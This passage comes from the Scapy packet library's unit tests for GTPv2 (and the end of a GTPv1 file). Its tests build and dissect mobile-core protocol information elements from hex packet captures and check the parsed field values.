and ie.IMEI == b'0132750094080322' = IE_MSInfoChangeReportingAction(), basic instantiation ie = IE_MSInfoChangeReportingAction(Action=12) ie.ietype == 181 and ie.Action == 12 = IE_DirectTunnelFlags(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044d2a7dffabfb70000108caa6b0b14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1 = IE_DirectTunnelFlags(), basic instantiation ie = IE_DirectTunnelFlags(DTI=1) ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1 = IE_BearerControlMode(), basic instantiation ie = IE_BearerControlMode(bearer_control_mode=1) ie.ietype == 184 and ie.bearer_control_mode == 1 = IE_EvolvedAllocationRetentionPriority(), basic instantiation ie = IE_EvolvedAllocationRetentionPriority(PCI=1) ie.ietype == 191 and ie.PCI == 1 = IE_CharginGatewayAddress(), basic instantiation ie = IE_CharginGatewayAddress() ie.ietype == 251 and ie.ipv4_address == '127.0.0.1' and ie.ipv6_address == '::1' = IE_PrivateExtension(), basic instantiation ie = IE_PrivateExtension(extention_value='hello') ie.ietype == 255 and ie.extention_value == b'hello' scapy-2.4.4/test/contrib/gtp_v2.uts000066400000000000000000000743511372370053500172340ustar00rootroot00000000000000# GTPv2 unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('gtp_v2')" -t test/contrib/gtp_v2.uts + GTPv2 = GTPHeader v2, basic instantiation gtp = IP()/UDP(dport=2123)/GTPHeader(gtp_type=1) gtp.dport == 2123 and gtp.gtp_type == 1 = GTPV2EchoRequest, basic instantiation gtp = IP()/UDP(dport=2123) / GTPHeader(seq=12345) / GTPV2EchoRequest() gtp.dport == 2123 and gtp.seq == 12345 and gtp.gtp_type == 1 and gtp.T == 0 = GTPV2CreateSessionRequest, basic instantiation gtp = IP() / UDP(dport=2123) / \ GTPHeader(gtp_type="create_session_req", teid=2807, seq=12345) / \ GTPV2CreateSessionRequest() gtp.dport == 2123 and gtp.teid == 2807 and gtp.seq == 12345 = GTPV2EchoRequest, dissection h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100030001000daa000000003f1f382f" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 1 = GTPV2EchoResponse, dissection h = "3333333333332222222222228100e384080045fc002fd6d70000f21180d40a2a00010a2a0002084b084b001b00004002000f000001000300010001020002001000731cd7c5" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 2 = GTPV2ModifyBearerRequest, dissection h = "3333333333332222222222228100a384080045b8004300000000fc1185350a2a00010a2a00027a76084b002f6c344822002392e9e1143652540052000100065d00120049000100055700090080000010927f000002ac79a28e" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 34 = IE_IMSI, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd00000000661759000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100235700090385000010927f00000250001600580700000000000000000000000000000000000000007200020040005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.IMSI == b"2080112345670000" = IE_IMSI, basic instantiation ie = IE_IMSI(ietype='IMSI', length=8, IMSI='2080112345670000') ie.ietype == 1 and ie.IMSI == b'2080112345670000' assert bytes(ie) == b'\x01\x00\x08\x00\x02\x08\x112Tv\x00\x00' = IE_Cause, dissection h = "3333333333332222222222228100838408004588004a00000000fd1193160a2a00010a2a0002084b824600366a744823002a45e679235ea151000200020010005d001800490001006c0200020010005700090081000010927f000002558d3b69" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Cause == 16 = IE_Cause, basic instantiation ie = IE_Cause( ietype='Cause', length=2, Cause='Request accepted', PCE=1, BCE=0, CS=0) ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 1 and ie.BCE == 0 and ie.CS == 0 = IE_Cause, basic instantiation 2 ie = IE_Cause( ietype='Cause', length=2, Cause='Request accepted', PCE=0, BCE=1, CS=0) ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 1 and ie.CS == 0 = IE_Cause, basic instantiation 3 ie = IE_Cause( ietype='Cause', length=2, Cause='Request accepted', PCE=0, BCE=0, CS=1) ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 0 and ie.CS == 1 = IE_RecoveryRestart, dissection h = "3333333333332222222222228100838408004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e400100095e4b1f00030001000daa000000003f1f382f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 3 and ie.restart_counter == 13 = IE_RecoveryRestart, basic instantiation ie = IE_RecoveryRestart( ietype='Recovery Restart', length=1, restart_counter=17) ie.ietype == 3 and ie.restart_counter == 17 = IE_APN, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[7] ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa' = IE_APN, basic instantiation ie = IE_APN(ietype='APN', length=26, APN='aaaaaaaaaaaaaaaaaaaaaaaaa') ie.ietype == 71 and ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa' assert bytes(ie) == b'G\x00\x1a\x00\x19aaaaaaaaaaaaaaaaaaaaaaaaa' = IE_AMBR, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[11] ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000 = IE_AMBR, basic instantiation ie = IE_AMBR( ietype='AMBR', length=8, AMBR_Uplink=5888, AMBR_Downlink=42000) ie.ietype == 72 and ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000 = IE_EPSBearerID, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.EBI == 50 = IE_EPSBearerID, basic instantiation ie = IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=50) ie.ietype == 73 and ie.EBI == 50 = IE_IP_Address, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d84530d5a4cdee2000200020010004c00060011111111111149000100b248000800000061a8000249f07f000100005d00130049000100da0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.address == '127.0.0.4' = IE_IP_Address, basic instantiation ie = IE_IP_Address(ietype='IP Address', length=4, address='127.0.0.4') ie.ietype == 74 and ie.address == '127.0.0.4' = IE_MEI, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b00080071655774980786ff56000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.MEI == b"17567547897068" = IE_MEI, basic instantiation ie = IE_MEI(ietype='MEI', length=1, MEI=175675478970685) ie.ietype == 75 and ie.MEI == 175675478970685 = IE_MSISDN, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.digits == b'111111111111' = IE_MSISDN, basic instantiation ie = IE_MSISDN(ietype='MSISDN', length=6, digits='111111111111') ie.ietype == 76 and ie.digits == b'111111111111' assert bytes(ie) == b'L\x00\x06\x00\x11\x11\x11\x11\x11\x11' = IE_Indication, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b00080071655774980786ff56000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[10] ie.DAF == 0 and ie.DTF == 0 and ie.PS == 1 and ie.CCRSI == 0 and ie.CPRAI == 0 and ie.PPON == 0 and ie.CLII == 0 and ie.CPSR == 0 = IE_Indication, basic instantiation ie = IE_Indication(ietype='Indication', length=8, PS=1, CPRAI=1) ie.ietype == 77 and ie.PS == 1 and ie.CPRAI == 1 = IE_Indication, basic instantiation 2 ie = IE_Indication(ietype='Indication', length=8, DTF=1, PPSI=1) ie.ietype == 77 and ie.DTF == 1 and ie.PPSI == 1 = IE_PCO, dissection h = "333333333333222222222222810083840800458800a500000000fd1183bb0a2a00010a2a0002084b76a00091cf0b48210085bd574af24c68e300020002001000570009008b000010927f0000025700090187000010927f0000024f000500017f0000037f000100004e00220080000d040a2a0003000d040a2a00038021100300001081060a2a000483060a2a00045d00250049000100660200020010005700090081000010927f0000025700090285000010927f000002dd9f22c6" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.Protocols[0].address == '10.42.0.3' = IE_PCO, basic instantiation ie = IE_PCO(ietype='Protocol Configuration Options', length=8, Extension=1, PPP=3, Protocols=[ PCO_DNS_Server_IPv4(type='DNS Server IPv4 Address Request', length=4, address='10.42.0.3')]) ie.Extension == 1 and ie.PPP == 3 and ie.Protocols[0].address == '10.42.0.3' = IE_EPCO, dissection h = "d89ef3da40e2fa163e956dce08004500003000010000401144e10a0f0f3d0a0f1281084b084b001c0c154821000c0000000100000100c500040080001b00" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Protocols[0].type == 27 = IE_EPCO, basic instantiation ie = IE_EPCO(Protocols=[PCO_S_Nssai(type=27, length=0)], ietype=197, length=4, CR_flag=0, instance=0, Extension=1, SPARE=0, PPP=0) ie.Extension == 1 and ie.ietype == 197 and ie.Protocols[0].type == 27 and ie.Protocols[0].length == 0 = IE_APCO, dissection h = "d89ef3da40e2fa163e956dce0800450000360001000040115d650a0f0f3d01020304084b084b00220000482000160000000100000100a3000a0080000c00001200000d00" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Protocols[0].type == 12 and ie.Protocols[1].type == 18 and ie.Protocols[2].type == 13 = IE_APCO, basic instantiation ie = IE_APCO(Protocols=[PCO_P_CSCF_IPv4_Address_Request(address=None, type=12, length=0),PCO_P_CSCF_Re_selection_Support(type=18, length=0),PCO_DNS_Server_IPv4(address=None, type=13, length=0)], ietype=163, length=10, CR_flag=0, instance=0, extension=1, SPARE=0, PPP=0) ie.extension == 1 and ie.ietype == 163 and ie.length == 10 and ie.Protocols[0].type == 12 and ie.Protocols[1].type == 18 and ie.Protocols[2].type == 13 = IE_MMContext_EPS, dissection h = "d89ef3da40e2fa163e956dce08004500007f0001000040114bbd0a0a0f3d0a0f0b5b084b084b006b5a234883005f0000180f76d163006b0046008800910000020000021890aa80be385102083701a2907066f8bd9f2a28b717671c71c71c71c71c71c70100003d090002625a00028040000812345678900000000000000000006d000900880005000470677731" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Sec_Mode == 4 and ie.Nhi == 0 and ie.Drxi == 1 and ie.Ksi == 0 and ie.Num_quint == 0 and ie.Num_Quad == 0 and ie.Uambri == 0 and ie.Osci == 0 and ie.Sambri == 1 and ie.Nas_algo == 1 and ie.Nas_cipher == 1 and ie.Nas_dl_count == 2 and ie.Nas_ul_count == 2 and ie.Kasme == 11111111111111111111111111111111111111111111111111111111111111111111111111111 = IE_MMContext_EPS, basic instantiation ie = IE_MMContext_EPS(ietype=107, length=70, CR_flag=0, instance=0, Sec_Mode=4, Nhi=0, Drxi=1, Ksi=0, Num_quint=0, Num_Quad=0, Uambri=0, Osci=0, Sambri=1, Nas_algo=1, Nas_cipher=1, Nas_dl_count=2, Nas_ul_count=2, Kasme=11111111111111111111111111111111111111111111111111111111111111111111111111111) ie.Sec_Mode == 4 and ie.Nhi == 0 and ie.Drxi == 1 and ie.Ksi == 0 and ie.Num_quint == 0 and ie.Num_Quad == 0 and ie.Uambri == 0 and ie.Osci == 0 and ie.Sambri == 1 and ie.Nas_algo == 1 and ie.Nas_cipher == 1 and ie.Nas_dl_count == 2 and ie.Nas_ul_count == 2 and ie.Kasme == 11111111111111111111111111111111111111111111111111111111111111111111111111111 = IE_PDNConnection, IE_FQDN, dissection h = "d89ef3da40e2fa163e956dce08004500007f0001000040114bbd0a0a0f3d0a0f0b5b084b084b006b5a234883005f0000180f76d163006b0046008800910000020000021890aa80be385102083701a2907066f8bd9f2a28b717671c71c71c71c71c71c70100003d090002625a00028040000812345678900000000000000000006d000900880005000470677731" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1].IE_list[0] ie.fqdn_tr_bit == 4 and ie.fqdn == b'pgw1' = IE_PDNConnection, IE_FQDN, basic instantiation ie = IE_PDNConnection(IE_list=[IE_FQDN(ietype=136, length=5, CR_flag=0, instance=0, fqdn_tr_bit=4, fqdn=b'pgw1')], ietype=109, length=9, CR_flag=0, instance=0) ie2 = ie.IE_list[0] ie2.fqdn_tr_bit == 4 and ie2.fqdn == b'pgw1' = IE_PAA, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3' = IE_PAA, basic instantiation ie = IE_PAA(ietype='PAA', length=5, PDN_type='IPv4', ipv4='127.0.0.3') ie.ietype == 79 and ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3' = IE_Bearer_QoS, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[12].IE_list[2] ie.MaxBitRateForUplink == 0 and ie.MaxBitRateForDownlink == 0 and ie.QCI == 7 = IE_Bearer_QoS, basic instantiation ie = IE_Bearer_QoS(ietype='Bearer QoS', length=22, PCI=4, PriorityLevel=5, PVI=6, QCI=7, MaxBitRateForUplink=1, MaxBitRateForDownlink=2, GuaranteedBitRateForUplink=3, GuaranteedBitRateForDownlink=4) ie.ietype == 80 and ie.PCI == 4 and ie.PriorityLevel == 5 and ie.PVI == 6 and ie.QCI == 7 and ie.MaxBitRateForUplink == 1 and ie.MaxBitRateForDownlink == 2 and ie.GuaranteedBitRateForUplink == 3 and ie.GuaranteedBitRateForDownlink == 4 = IE_RAT, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[4] ie.RAT_type == 6 = IE_RAT, basic instantiation ie = IE_RAT(ietype='RAT', length=1, RAT_type='EUTRAN') ie.ietype == 82 and ie.RAT_type == 6 = IE_ServingNetwork, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[3] ie.MCC == b'234' and ie.MNC == b'02' = IE_ServingNetwork, basic instantiation ie = IE_ServingNetwork( ietype='Serving Network', length=3, MCC='234', MNC='02') ie.ietype == 83 and ie.MCC == b'234' and ie.MNC == b'02' = IE_ULI, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.TAI_Present == 1 and ie.ECGI_Present == 1 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456 = IE_ULI, basic instantiation ie = IE_ULI(ietype='ULI', length=13, LAI_Present=0, ECGI_Present=1, TAI_Present=1, RAI_Present=0, SAI_Present=0, CGI_Present=0, TAI=ULI_TAI(MCC='234', MNC='02', TAC=12345), ECGI=ULI_ECGI(MCC='234', MNC='02', ECI=123456)) ie.ietype == 86 and ie.LAI_Present == 0 and ie.ECGI_Present == 1 and ie.TAI_Present == 1 and ie.RAI_Present == 0 and ie.SAI_Present == 0 and ie.CGI_Present == 0 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456 = IE_UCI, dissection h = "fe1d70fa717ceeeeeeeeeeee080045000127a4f500003c11e9aec0a8ee80c0a87f50084b23a301131aa1482001070000000001020f009100080021f3540000001602" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.CSG_ID == 22 and ie.AccessMode == 0 and ie.LCSG == 1 and ie.CMI == 0 and ie.MCC == b'123' and ie.MNC == b'45' = IE_UCI, basic instantiation ie = IE_UCI(ietype='UCI', length=8, CR_flag=0, instance=0, MCC=b'123', MNC=b'45', SPARE=0, CSG_ID=22, AccessMode=0, LCSG=1, CMI=0) ie.ietype == 145 and ie.CSG_ID == 22 and ie.AccessMode == 0 and ie.LCSG == 1 and ie.CMI == 0 and ie.MCC == b'123' and ie.MNC == b'45' = IE_BearerFlags, dissection h = "0026f126c100000c29b131dd81004d040800450000d8a6010000401118680a2180350a212735084b138800c47f8248210011000023f2000001005d006200610001000a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0].IE_list[0] ie.ASI == 1 and ie.Vind == 0 and ie.VB == 1 and ie.PPC == 0 = IE_BearerFlags, basic instantiation ie = IE_BearerFlags(ietype='Bearer Flags', length=1, CR_flag=0, instance=0, SPARE=0, ASI=1, Vind=0, VB=1, PPC=0) ie.ietype == 97 and ie.ASI == 1 and ie.Vind == 0 and ie.VB == 1 and ie.PPC == 0 = IE_UPF_SelInd_Flags, dissection h = "000c29b131dd0026f126c10081000d04080045000112608940003f111ea60a2127350a2180351388084b00fe0ec44820000d0000000000000100ca00010000" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.DCNR == 0 = IE_UPF_SelInd_Flags, basic instantiation ie = IE_UPF_SelInd_Flags(ietype='UP Function Selection Indication Flags', length=1, CR_flag=0, instance=0, SPARE=0, DCNR=0) ie.ietype == 202 and ie.DCNR == 0 = IE_Ran_Nas_Cause, dissection h = "00000000000000000000000008004500005a0000000040114d390101010101010102084b084b0046bf694824000e000ba0df00002300ac0002003011" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.protocol_type == 3 and ie.cause_type == 0 and ie.cause_value == 17 = IE_Ran_Nas_Cause, basic instantiation ie = IE_Ran_Nas_Cause(ietype='RAN/NAS Cause', length=2, CR_flag=0, instance=0, protocol_type=3, cause_type=0, cause_value=17) ie.ietype == 172 and ie.protocol_type == 3 and ie.cause_type == 0 and ie.cause_value == 17 = IE_FQCSID, dissection h = "d89ef3da40e2fa163e956dce0800450000330001000040117a2a0a0f0f3d0a09dd3a084b084b001f454648240013000000010000010084000700010a01010b00c8" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 132 and ie.nodeid_type == 0 and ie.num_csid == 1 and ie.nodeid_v4 == '10.1.1.11' and ie.csid == 200 = IE_FQCSID, basic instantiation ie = IE_FQCSID(ietype=132, length=19, CR_flag=0, instance=0, nodeid_type=1, num_csid=1, nodeid_v4=None, nodeid_v6=42540578207381523466529575969228128257, nodeid_nonip=None, csid=0) ie.ietype == 132 and ie.nodeid_type == 1 and ie.num_csid == 1 and ie.nodeid_v6 == 42540578207381523466529575969228128257 and ie.csid == 0 = IE_FTEID, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.GRE_Key == 4242 and ie.ipv4 == '127.0.0.2' = IE_FTEID, basic instantiation ie = IE_FTEID(ietype='F-TEID', length=9, ipv4_present=1, InterfaceType=10, GRE_Key=0x1092, ipv4='127.0.0.2') ie.ietype == 87 and ie.ipv4_present == 1 and ie.InterfaceType == 10 and ie.GRE_Key == 0x1092 and ie.ipv4 == '127.0.0.2' = IE_BearerContext, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[12] len(ie.IE_list) == 3 and ie.IE_list[0].ietype == 73 and ie.IE_list[0].EBI == 229 and ie.IE_list[ 1].ietype == 87 and ie.IE_list[1].ipv4 == '127.0.0.2' and ie.IE_list[2].ietype == 80 and ie.IE_list[2].QCI == 7 = IE_BearerContext, basic instantiation ie = IE_BearerContext(ietype='Bearer Context', length=44, IE_list=[ IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=229)]) ie.ietype == 93 and len(ie.IE_list) == 1 and ie.IE_list[ 0].ietype == 73 and ie.IE_list[0].EBI == 229 = IE_ChargingID, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004da0316b4d96ac2c000200020010004c00060011111111111149000100c348000800000061a8000249f07f000100005d001300490001003f0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5].IE_list[2] ie.ChargingID == 956321605 = IE_ChargingID, basic instantiation ie = IE_ChargingID(ietype='Charging ID', length=4, ChargingID=956321605) ie.ietype == 94 and ie.ChargingID == 956321605 = IE_ChargingCharacteristics, dissection h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f82fd783953790a2000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001000750001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[18] ie.ChargingCharacteristric == 0xa00 = IE_ChargingCharacteristics, basic instantiation ie = IE_ChargingCharacteristics( ietype='Charging Characteristics', length=2, ChargingCharacteristric=0xa00) ie.ietype == 95 and ie.ChargingCharacteristric == 0xa00 = IE_PDN_type, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[8] ie.PDN_type == 1 = IE_PDN_type, basic instantiation ie = IE_PDN_type(ietype='PDN Type', length=1, PDN_type='IPv4') ie.ietype == 99 and ie.PDN_type == 1 = IE_UE_Timezone, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[13] ie.Timezone == 20 and ie.DST == 0 = IE_UE_Timezone, basic instantiation ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=0) ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 0 = IE_UE_Timezone, basic instantiation ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=1) ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 1 = IE_Port_Number, dissection h = "00010203040800808e8f8ab608004500004100010000401169140b00019705000001ec45084b002da8524820001d00000000006e400001000700420061896453f44a0004005f1e1d737e0002004532" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.PortNumber == 17714 = IE_Port_Number, basic instantiation ie = IE_Port_Number( ietype='Port Number', length=2, PortNumber=17714) ie.ietype == 126 and ie.PortNumber == 17714 = IE_APN_Restriction, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[4] ie.APN_Restriction == 0 = IE_APN_Restriction, basic instantiation ie = IE_APN_Restriction( ietype='APN Restriction', length=1, APN_Restriction=0) ie.ietype == 127 and ie.APN_Restriction == 0 = IE_SelectionMode, dissection h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f8093ca4cc47fa69000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001004850001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.SelectionMode == 0 = IE_SelectionMode, basic instantiation ie = IE_SelectionMode( ietype='Selection Mode', length=1, SelectionMode=4) ie.ietype == 128 and ie.SelectionMode == 4 = IE_MMBR, dissection h = 